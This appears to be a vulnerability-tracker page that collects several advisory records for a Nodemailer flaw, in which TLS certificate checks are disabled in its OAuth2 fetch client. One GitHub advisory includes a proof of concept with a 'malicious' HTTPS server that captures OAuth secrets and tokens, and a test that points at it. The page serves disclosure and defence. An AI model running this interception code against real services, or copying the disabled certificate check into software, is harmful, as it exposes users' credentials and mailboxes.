Nodemailer before 8.0.8 TLS Certificate Validation Bypass

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.

Source published

31 Aug 2026 08:46:26 UTC

Source modified

1 Sep 2026 15:00:58 UTC

Saved here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.

Source published

Aug 31, 2026, 8:46:26 AM (timezone not stated)

Source modified

Sep 1, 2026, 3:00:58 PM (timezone not stated)

Saved here

11 Nov 2026 16:59:58 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.

Source published

31 Aug 2026 09:17:04 UTC

Source modified

10 Sep 2026 15:48:28 UTC

Saved here

25 Oct 2026 16:19:10 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

## Duplicate Advisory This advisory has been withdrawn because it is a duplicate of GHSA-r7g4-qg5f-qqm2. This link is maintained to preserve external references. ## Original Description Nodemailer before 8.0.8 disables TLS certificate verification in lib/fetch/index.js through rejectUnauthorized: false, allowing attackers to intercept OAuth2 token requests. Attackers in a machine-in-the-middle position can capture OAuth client secrets, refresh tokens, and access tokens transmitted over compromised HTTPS connections.

Source published

31 Aug 2026 09:30:29 UTC

Source modified

5 Oct 2026 23:00:04 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Publisher rating · HIGH

### Summary Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js. As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation. An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture: - OAuth client_secret - refresh_token - access tokens The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint. ### Details Root Cause The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests. Inside: `lib/fetch/index.js` the request options contain: `rejectUnauthorized: false` This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration. As a result: - self-signed certificates are trusted - invalid CA chains are accepted - hostname validation is bypassed - attacker-controlled HTTPS endpoints are treated as trusted This violates expected HTTPS security guarantees. **Vulnerable Flow** The vulnerable execution chain is: OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials **transmitted** ### PoC **Environment** #### Mail API (app/server.js) ``` const express = require("express"); const nodemailer = require("nodemailer"); require("dotenv").config(); const app = express(); app.use(express.json()); const transporter = nodemailer.createTransport({ host: process.env.SMTP_HOST, port: process.env.SMTP_PORT, secure: false, auth: { user: process.env.SMTP_USER, pass: process.env.SMTP_PASS } }); app.post("/send", async (req, res) => { try { const { to, subject, text, html } = req.body; const info = await transporter.sendMail({ from: `"Mailer" <${process.env.SMTP_USER}>`, to, subject, text, html }); res.json({ success: true, messageId: info.messageId }); } catch (err) { console.error(err); res.status(500).json({ success: false, error: err.message }); } }); app.listen(process.env.PORT, () => { console.log(`Mailer running on port ${process.env.PORT}`); }); ``` #### Malicious HTTPS OAuth Server (poc/evil-oauth.js) ``` const https = require('https'); const fs = require('fs'); https.createServer({ key: fs.readFileSync('./key.pem'), cert: fs.readFileSync('./cert.pem') }, (req, res) => { console.log('\n==== REQUEST INTERCEPTED ===='); console.log(req.method, req.url); let body = ''; req.on('data', chunk => { body += chunk; }); req.on('end', () => { console.log('\nPOST BODY:'); console.log(body); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ access_token: 'attacker_token', expires_in: 3600 })); }); }).listen(8443, () => { console.log('Malicious HTTPS OAuth server listening on 8443'); }); ``` #### Nodemailer OAuth2 Test (test.js) ``` const nodemailer = require('./'); const transporter = nodemailer.createTransport({ service: 'gmail', auth: { type: 'OAuth2', user: '[email protected]', clientId: 'CLIENT_ID_REDACTED', clientSecret: 'CLIENT_SECRET_REDACTED', refreshToken: 'REFRESH_TOKEN_REDACTED', accessUrl: 'https://localhost:8443/token' } }); transporter.sendMail({ from: '[email protected]', to: '[email protected]', subject: 'PoC', text: 'test' }, (err, info) => { console.log('\n==== NODEMAILER RESULT ===='); if (err) { console.error(err); } else { console.log(info); } }); ``` **Steps to Reproduce** - Start malicious HTTPS OAuth server: - node poc/evil-oauth.js - Run Nodemailer OAuth2 test: - node test.js - Observe intercepted OAuth2 request body on the malicious HTTPS server. **PIC** <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" /> ### Impact - OAuth credential theft - unauthorized email access - persistent token abuse - unauthorized mail sending - mailbox compromise - interception/tampering of OAuth responses The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

Source published

15 Jun 2026 17:34:48 UTC

Source modified

5 Oct 2026 23:00:05 UTC

Saved here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N

CVSS_V4 · CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Publisher rating · HIGH